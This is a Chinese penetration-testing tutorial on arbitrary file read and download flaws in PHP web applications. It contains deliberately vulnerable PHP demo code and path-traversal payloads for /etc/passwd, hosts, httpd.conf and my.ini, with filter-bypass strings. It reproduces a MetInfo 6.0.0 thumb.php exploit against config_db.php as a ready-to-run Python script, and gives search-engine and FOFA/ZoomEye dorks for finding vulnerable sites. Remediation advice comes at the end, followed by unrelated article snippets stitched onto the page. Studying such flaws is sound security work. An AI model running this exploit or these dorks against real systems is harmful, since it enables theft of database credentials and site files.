任意文件读取
文章目录
- 渗透测试漏洞原理
- 任意文件读取
- 1. 任意文件读取概述
- 1.1 漏洞成因
- 1.2 漏洞危害
- 1.3 漏洞分类
- 1.4 任意文件读取
- 1.4.1 文件读取
- 1.4.2 任意文件读取
- 1.4.3 权限问题
- 1.5 任意文件下载
- 1.5.1 一般情况
- 1.5.2 PHP实现
- 1.5.3 任意文件下载
- 2. 任意文件读取攻防
- 2.1 路径过滤
- 2.1.1 过滤../
- 2.2 简单绕过
- 2.2.1 双写绕过
- 2.2.2 绝对路径
- 2.2.3 使用..\
- 2.2.4 设置白名单
- 3. 任意文件读取挖掘
- 3.1 手工挖掘
- 3.2 经典案例(metlnfo_6.0.0_file-read)
- 3.2.1 漏洞描述
- 3.2.2 漏洞等级
- 3.2.3 影响版本
- 3.2.4 漏洞复现
- 3.2.5 漏洞点分析
- 3.2.6 深度利用
- 3.2.7 修复建议
- 4. 漏洞修复方案
- 4.1 输入验证
- 4.2 避免其他漏洞
- 4.3 限定文件的访问范围
渗透测试漏洞原理

任意文件读取
1. 任意文件读取概述
一些网站的需求,可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过,就可以查看或下载任意文件。这些文件可以是源代码文件,配置文件,敏感文件等等。
- 任意文件读取会造成(敏感)信息泄露:
- 任意文件读取很多情况是由于其他漏洞引发的,如,RCE、目录遍历、文件包含等。
- 任意文件读取与任意文件下载本质上没有区别,信息都是从服务端流向浏览器的。
任意文件读取与下载可能形式不同,但是从本质上讲读取与下载没有区别,从权限角度来讲,读取与下载都需要读权限。
1.1 漏洞成因
不管是任意文件读取还是任意文件下载,触发漏洞的条件都是相同的:
- 存在读取文件的功能(函数),也就是说,Wb应用开放了文件读取功能:
- 读取文件的路径客户端可控,完全控制或影响文件路径参数:
- 没有对文件路径进行校验或者校验不严导致校验被绕过,
- 输出了文件的内容。
1.2 漏洞危害
下载服务器任意文件,包括源代码文件、系统敏感文件、配置文件等等。
可以配合其他漏洞,构成完整攻击链。对源代码文件进行代码审计,查找更多的漏洞。
任意文件读取与下载重点关注的文件:
- 源代码
- 配置文件
- 敏感文件
- 日志文件
- …
1.3 漏洞分类
- 任意文件读取
- 任意文件下载
1.4 任意文件读取
以PHP脚本为例子,有一些函数可以实现文件读取功能。
1.4.1 文件读取
| 读取文件的函数 | 函数特点 |
|---|---|
| readfile() | 直接读取文件内容 自带输出功能 |
| feed() | 直接读取文件内容 需要输出读取内容 |
| fread() | 打开文件 计算文件大小 读取文件 输出文件 关闭文件 |
函数具体介绍:PHP: Hypertext Preprocessor。
实验环境在phpstudy的www目录下创建一个file-read目录,在目录中创建一下php文件。
readfile:
// readfile.php
<?php$fp = "../phpinfo.php"; readfile($fp);
?>

访问页面,查看页面源代码,读取成功。

file_get_contents:
// file_get_contents.php
<?php$fp = "../phpinfo.php"; echo file_get_contents($fp);
?>

访问页面,查看页面源代码,读取成功。

fread:
// fread.php
<?php$fp = "../phpinfo.php";$f = fopen($fp,'r'); //打开文件$f_size = filesize($fp); //计算文件大小echo fread($f, $f_size); //读取文件内容并输出到页面上fclose($f);
?>

访问页面,查看页面源代码,读取成功。

1.4.2 任意文件读取
变量$fp,会捕获GET方式传递过来的filepath参数。
$fp = @$_GET['filepath'];


filepath客户端可控,并且没有经过校验,会造成任意文件读取漏洞。
?filepath=index.php ?filepath=/etc/passwd
?filepath=c:\windows\system32\drivers\etc\hosts ?filepath=c:\phpstudy_2016\apache\conf\httpd.conf ?filepath=c:\phpstudy_2016\mysql\my.ini?filepath=../../../../../../../../../../phpstudy_2016/www/phpinfo.php
?filePath=../../../../../../../../windows\system32\drivers\etc\hosts
?filePath=../../../../../../etc/hosts

1.4.3 权限问题
- Windows + IIS + ASP/ASPX:低权限
- Windows + Apache + php:高权限
- Windows + Java:高权限
- Linux + Apache + PHP:低权限
- Linux + Nginx + PHP:不一定
- Linux + Java:高权限
1.5 任意文件下载
1.5.1 一般情况
直接下载:例如图片另存为。
a标签下载:
<a href = './a.jpg'>IMG Download</a>
1.5.2 PHP实现
PHP文件下载实现过程:
- 先读取文件
- 在输出文件
- 提供下载
// file-download.php<?php$fp = './a.jpg';header('Content-Type:image/jpg');header('Content-Disposition:attachment;fileName='.basename($fp));readfile($fp);
?>
1.5.3 任意文件下载
任意文件下载的条件:
- 已知目标文件路径
- 目标文件路径,客户端可控
- 没有经过校验或校验不严格
$fp = $_GET['filepath'];
实验:
<?php$fp = $_GET['filepath'];// header('Content-Type:image/jpg');header('Content-Disposition:attachment;fileName='.basename($fp));readfile($fp);
?>

下载成功

文件内容如下:

2. 任意文件读取攻防
2.1 路径过滤
2.1.1 过滤…/
<?php$fp = @$_GET['filepath'];$fp = str_replace("../","",$fp); readfile($fp);
?>
2.2 简单绕过
2.2.1 双写绕过
?filepath=..././..././..././..././..././..././..././windows\system32\drivers\etc\hosts
2.2.2 绝对路径
?filepath=c:/windows\system32\drivers\etc\hosts
2.2.3 使用…\
?filepath=..\..\..\..\..\windows\system32\drivers\etc\hosts
2.2.4 设置白名单
设置只能访问a,b,cPHP文件
<?php$fp = @$_GET['filepath'];if($fp == 'a.php' or $fp == 'b.php' or $fp == 'c.php'){readfile($fp);}else{echo "Please stop!";}
?>
3. 任意文件读取挖掘
3.1 手工挖掘
| 从文件名上看 | 从参数名上看 |
|---|---|
| readfile.php filedownload.php filelist.php | f= file= filepath= fp= readfile= path= readpath= url= menu= META-INF= WEB-INF= content= |
3.2 经典案例(metlnfo_6.0.0_file-read)
下载链接:MetInfo历史版本与文件。
| 说明 | 内容 |
|---|---|
| 漏洞编号 | – |
| 漏洞名称 | MetInfo 6.0.0 任意文件读取漏洞 |
| 漏洞评级 | 高危 |
| 影响范围 | MetInfo 6.0.0 |
| 漏洞描述 | MetInfo 存在任意文件读取漏洞,攻击者利用该漏洞, 在具有权限的情况下,可以读取网站任意文件,包括配置文件等敏感文件。 |
| 修复方案 | 打补丁 升级 上设备 |
3.2.1 漏洞描述
MetInfo 是一套使用PHP 和MySQL 开发的内容管理系统。MetInfo 6.0.0 ~ 6.1.0 版本中的 /app/system/include/module/old_thumb.class.php 文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。
3.2.2 漏洞等级
高危
3.2.3 影响版本
MetInfo 6.0.0
3.2.4 漏洞复现
基础环境
| 组件 | 版本 |
|---|---|
| OS | Microsoft Windows Server 2016 Standard |
| Web Server | phpStudy 2016 |
| MetInfo | 6.0.0 |
安装过程


访问页面

漏洞点
/include/thumb.php
页面访问该路径
http://127.0.0.1/MetInfo_6.0.0/include/thumb.php

使用bp抓包查看,bp是默认不抓图片的包,这里修改配置。

将抓取到的数据包右键发送到重发器上。

第一次测试
/include/thumb.php?dir=..././http/..././config/config_db.php

第二次测试
/include/thumb.php?dir=.....///http/.....///config/config_db.php

第三次测试
/include/thumb.php?dir=http/.....///.....///config/config_db.php

第四次测试
/include/thumb.php?dir=http\..\..\config\config_db.php

注意:
- 此POC 仅适用于Windows 系统,Linux 下无效。
- 因为输入的右斜线\在windows中作为目录的分隔符,而linux中不是。
3.2.5 漏洞点分析
漏洞点产生位置在thumb.php文件

加载old_thumb类

说明:这里的防守做两步判断
-
将…/和./全部过滤为空。
-
if判断前四个字符必须是http,并且计算./的位置,也就是提交的dir变量中是否有./的出现,如果没有出现返回false。
-
readfile():任意文件读取函数
-
dir这个读取文件的路径客户端可控,但是不完全可控,限制可以被绕过。
3.2.6 深度利用
exp编写
import requests
import sysbanner = """
MetInfo 6.0.0___________.__.__ __________ .___\_ _____/|__| | ____ \______ \ ____ _____ __| _/| __) | | | _/ __ \ | _// __ \\__ \ / __ | | \ | | |_\ ___/ | | \ ___/ / __ \_/ /_/ | \___ / |__|____/\___ > |____|_ /\___ >____ /\____ | \/ \/ \/ \/ \/ \/ Usage: python3 *.py http://192.168.188.183/MetInfo_6.0.0/
"""headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}dir_list = ["..././http/..././config/config_db.php",".....///http/.....///config/config_db.php","http/.....///.....///config/config_db.php","http\..\..\config\config_db.php"
]def attack(host):vul = "/include/thumb.php"url = host + vulres = requests.get(url = url, headers = headers)if res.status_code != 200:print(f"[INFO] {vul} is Not Exists!")exit()print(f"[INFO] {vul} is Exists!")for param in dir_list:params = {"dir": param }res = requests.get(url = url, params = params, headers = headers)print(f"[INFO] Test URL: {res.url}")if "<?php" in res.text:print("[RESULT] The target is vulnreable!")print(f"[RESULT]\n{res.text}")breakif len(sys.argv) < 2:print(banner)exit()host = sys.argv[1]attack(host = host)

漏洞挖掘
指纹信息
传统搜索引擎
Powered by MetInfo 6.0.0
intext:"Powered by MetInfo 6.0.0" inurl:"tw"
FOFA
app="metinfo"
ZoomEye
app:"MetInfo"
app:"MetInfo"+os:"Windows"
3.2.7 修复建议
- 打补丁
- 升级
- 上设备
4. 漏洞修复方案
4.1 输入验证
- 让web用户只能访问(读取),所需要的文件和路径。
4.2 避免其他漏洞
- 不能有文件包含漏洞,目录遍历漏洞或其他漏洞。
4.3 限定文件的访问范围
让用户不能访问Web根目录以外的路径。
php.ini配置文件中,可以通过选项open_basedir来限定文件访问的范围。
open_basedir = C:\software\phpstudy_pro\WWW

实验
不做限定的情况:

做限定的情况:

但是这样还有读取到当前的配置文件。

解决方式:所有的修复方案需要配合使用。
相关文章:
任意文件读取
文章目录 渗透测试漏洞原理任意文件读取1. 任意文件读取概述1.1 漏洞成因1.2 漏洞危害1.3 漏洞分类1.4 任意文件读取1.4.1 文件读取1.4.2 任意文件读取1.4.3 权限问题 1.5 任意文件下载1.5.1 一般情况1.5.2 PHP实现1.5.3 任意文件下载 2. 任意文件读取攻防2.1 路径过滤2.1.1 过…...
微信小程序餐饮外卖系统设计与实现
摘 要 随着现在的“互联网”的不断发展。现在传统的餐饮业也朝着网络化的方向不断的发展。现在线上线下的方式来实现餐饮的获客渠道增加,可以更好地帮助餐饮企业实现更多、更广的获客需求,实现更好的餐饮销售。截止到2021年末,我国的外卖市场…...
一文速览嵌入式六大出口
嵌入式行业的前景确实十分广阔,并且在许多领域都发挥着重要作用。以下是一些关键点,说明嵌入式系统的发展潜力和前途: 1. 物联网(IoT):嵌入式系统是实现智能家居、智能城市、智能工厂等物联网设备的核心。物…...
华为云云服务器评测 | 宝塔8.0镜像应用
目录 🍒写在前面 🍒产品优势 🍒购买服务器 🍒服务器配置 🍒登录宝塔页面 🦐博客主页:大虾好吃吗的博客 🦐专栏地址:闲谈专栏地址 写在前面 云耀云服务器L实例是新一代开箱…...
构建简单的Node.js HTTP服务器,发布公网远程访问的快速方法
文章目录 前言1.安装Node.js环境2.创建node.js服务3. 访问node.js 服务4.内网穿透4.1 安装配置cpolar内网穿透4.2 创建隧道映射本地端口 5.固定公网地址 前言 Node.js 是能够在服务器端运行 JavaScript 的开放源代码、跨平台运行环境。Node.js 由 OpenJS Foundation࿰…...
ModaHub魔搭社区:向量数据库产业的现状与技术挑战
I. 向量数据库的崛起 什么是向量数据库 在过去的一段时间里,向量数据库逐渐在数据库领域崭露头角。那么,什么是向量数据库呢?简单来说,向量数据库是一种专门设计用来处理向量数据的数据库。这些向量数据可以是物理测量、机器学习模型输出、地理空间数据等。向量数据库使用…...
pmp和软件高项哪个含金量高?
人们常将PMP和高项放在一起比较,因为这两种证书都适用于项目经理职位,它们有高达60%的知识点重合度。在决定考哪一种证书之前,人们常常会感到困惑。 下面看一下pmp和软考高项的差异。 发证机构不同 PMP(Project Management Professional)是…...
手把手教你用Vite构建第一个Vue3项目
写在前面 在之前的文章中写过“如何创建第一个vue项目”,但那篇文章写的是创建vue2的 项目。 传送门如何创建第一个vue项目 打开Vue.js官网:https://cn.vuejs.org/,我们会发现Vue 2 将于 2023 年 12 月 31 日停止维护 虽然Vue2的项目还不少࿰…...
美创科技获通信网络安全服务能力评定(应急响应一级)认证!
近日,中国通信企业协会公布通信网络安全服务能力评定2023年第一批获证企业名单。 美创科技获得应急响应一级资质,成为2023年第一批获证企业之一! 通信网络安全服务能力评定是对通信网络安全服务单位从事通信网络安全服务综合能力的评定&#…...
计算机视觉与人工智能在医美人脸皮肤诊断方面的应用
一、人脸皮肤诊断方法 近年来,随着计算机技术和人工智能的不断发展,中医领域开始逐渐探索利用这些先进技术来辅助面诊和诊断。在皮肤望诊方面,也出现了一些现代研究,尝试通过图像分析技术和人工智能算法来客观化地获取皮肤相关的…...
RCU501 RMP201-8 KONGSBERG 分布式处理单元
RCU501 RMP201-8 KONGSBERG 分布式处理单元 AutoChief600使用直接安装在主机接线盒中的分布式处理单元。进出发动机的所有信号都在双冗余CAN线路(发动机总线)上传输。 所有不重要的传感器都可以与K-Chief 600报警和监控系统共享,只需要一个主机接口。这一原则大大…...
说说 MVCC 的工作原理?
分析&回答 多版本并发控制(MVCC) InnoDB的MVCC,是通过在每行记录后面保存两个隐藏的列来实现。这两个列,一个保存了行的创建时间,一个保存行的删除时间,并不是实际的时间,而是系统版本号。每开始一个新的事务&am…...
微信小程序请求接口返回的二维码(图片),本地工具和真机测试都能显示,上线之后不显示问题
请求后端接口返回的图片: 页面展示: 代码实现: :show-menu-by-longpress"true" 是长按保存图片 base64Code 是转为base64的地址 <image class"code" :src"base64Code" alt"" :show-menu-by-long…...
Python小知识 - 1. Python装饰器(decorator)
Python装饰器(decorator) Python装饰器是一个很有用的功能,它可以让我们在不修改原有代码的情况下,为已有的函数或类添加额外的功能。 常见的使用场景有: a. 函数缓存:对于一些计算量较大的函数,…...
如何访问GitHub
1、手动修改hosts 1.1、查找到最新的GitHub的hosts信息 通过链接:https://raw.hellogithub.com/hosts 进行查找最新的GitHub的hosts信息 1.2、查找到hosts文件位置 先找到 hosts 文件的位置,不同操作系统,hosts 文件的存储位置也不同&…...
【广州华锐互动】智能变电站AR仿真实训系统大大提高培训的效率和质量
随着电力行业的不断发展,变电站的建设和运维变得越来越重要。传统的变电站运维培训方式存在着诸多问题,如难以真实模拟变电站运行环境、信息传递不及时、难以掌握实际操作技能等问题。而智能变电站AR仿真实训系统可以为变电站运维人员带来全新的培训方式…...
手写Mybatis:第11章-流程解耦,封装结果集处理器
文章目录 一、目标:结果集处理器二、设计:结果集处理器三、实现:结果集处理器3.1 工程结构3.2 结果集处理器关系图3.3 出参参数处理3.3.1 结果映射Map3.3.2 结果映射封装3.3.3 修改映射器语句类3.3.4 映射构建器助手3.3.5 语句构建器调用助手…...
金融风控数据分析-信用评分卡建模(附数据集下载地址)
本文引用自: 金融风控:信用评分卡建模流程 - 知乎 (zhihu.com) 在原文的基础上加上了一部分自己的理解,转载在CSDN上作为保留记录。 本文涉及到的数据集可直接从天池上面下载: Give Me Some Credit给我一些荣誉_数据集-阿里云…...
ceph对象三元素data、xattr、omap
这里有一个ceph的原则,就是所有存储的不管是块设备、对象存储、文件存储最后都转化成了底层的对象object,这个object包含3个元素data,xattr,omap。data是保存对象的数据,xattr是保存对象的扩展属性,每个对象…...
使用 BERT 进行文本分类 (03/3)
一、说明 在使用BERT(2)进行文本分类时,我们讨论了什么是PyTorch以及如何预处理我们的数据,以便可以使用BERT模型对其进行分析。在这篇文章中,我将向您展示如何训练分类器并对其进行评估。 二、准备数据的又一个步骤 …...
基于距离变化能量开销动态调整的WSN低功耗拓扑控制开销算法matlab仿真
目录 1.程序功能描述 2.测试软件版本以及运行结果展示 3.核心程序 4.算法仿真参数 5.算法理论概述 6.参考文献 7.完整程序 1.程序功能描述 通过动态调整节点通信的能量开销,平衡网络负载,延长WSN生命周期。具体通过建立基于距离的能量消耗模型&am…...
R语言AI模型部署方案:精准离线运行详解
R语言AI模型部署方案:精准离线运行详解 一、项目概述 本文将构建一个完整的R语言AI部署解决方案,实现鸢尾花分类模型的训练、保存、离线部署和预测功能。核心特点: 100%离线运行能力自包含环境依赖生产级错误处理跨平台兼容性模型版本管理# 文件结构说明 Iris_AI_Deployme…...
最新SpringBoot+SpringCloud+Nacos微服务框架分享
文章目录 前言一、服务规划二、架构核心1.cloud的pom2.gateway的异常handler3.gateway的filter4、admin的pom5、admin的登录核心 三、code-helper分享总结 前言 最近有个活蛮赶的,根据Excel列的需求预估的工时直接打骨折,不要问我为什么,主要…...
力扣-35.搜索插入位置
题目描述 给定一个排序数组和一个目标值,在数组中找到目标值,并返回其索引。如果目标值不存在于数组中,返回它将会被按顺序插入的位置。 请必须使用时间复杂度为 O(log n) 的算法。 class Solution {public int searchInsert(int[] nums, …...
Golang——7、包与接口详解
包与接口详解 1、Golang包详解1.1、Golang中包的定义和介绍1.2、Golang包管理工具go mod1.3、Golang中自定义包1.4、Golang中使用第三包1.5、init函数 2、接口详解2.1、接口的定义2.2、空接口2.3、类型断言2.4、结构体值接收者和指针接收者实现接口的区别2.5、一个结构体实现多…...
【Elasticsearch】Elasticsearch 在大数据生态圈的地位 实践经验
Elasticsearch 在大数据生态圈的地位 & 实践经验 1.Elasticsearch 的优势1.1 Elasticsearch 解决的核心问题1.1.1 传统方案的短板1.1.2 Elasticsearch 的解决方案 1.2 与大数据组件的对比优势1.3 关键优势技术支撑1.4 Elasticsearch 的竞品1.4.1 全文搜索领域1.4.2 日志分析…...
Shell 解释器 bash 和 dash 区别
bash 和 dash 都是 Unix/Linux 系统中的 Shell 解释器,但它们在功能、语法和性能上有显著区别。以下是它们的详细对比: 1. 基本区别 特性bash (Bourne-Again SHell)dash (Debian Almquist SHell)来源G…...
SDU棋界精灵——硬件程序ESP32实现opus编码
一、 音频处理框架 该项目基于Espressif的音频处理框架构建,核心组件包括 ESP-ADF 和 ESP-SR,以下是完整的音频处理框架实现细节: 1.核心组件 (1) 音频前端处理 (AFE - Audio Front-End) main/components/audio_pipeline/afe_processor.c功能: 声学回声…...
华硕电脑,全新的超频方式,无需进入BIOS
想要追求更佳性能释放 或探索更多可玩性的小伙伴, 可能会需要为你的电脑超频。 但我们常用的不论是BIOS里的超频, 还是Armoury Crate奥创智控中心超频, 每次调节都要重启,有点麻烦。 TurboV Core 全新的超频方案来了 4不规…...
调试快捷键 pycharm vscode
目录 调试快捷键 pycharm vscode 修改快捷键 方法 1:通过菜单打开 方法 2:用快捷键打开 调试快捷键 pycharm Resume Program F9 Step Over F8 两个离的比较近,比较方便,比vscode的好。 vscode Continue F5 改为F9 S…...
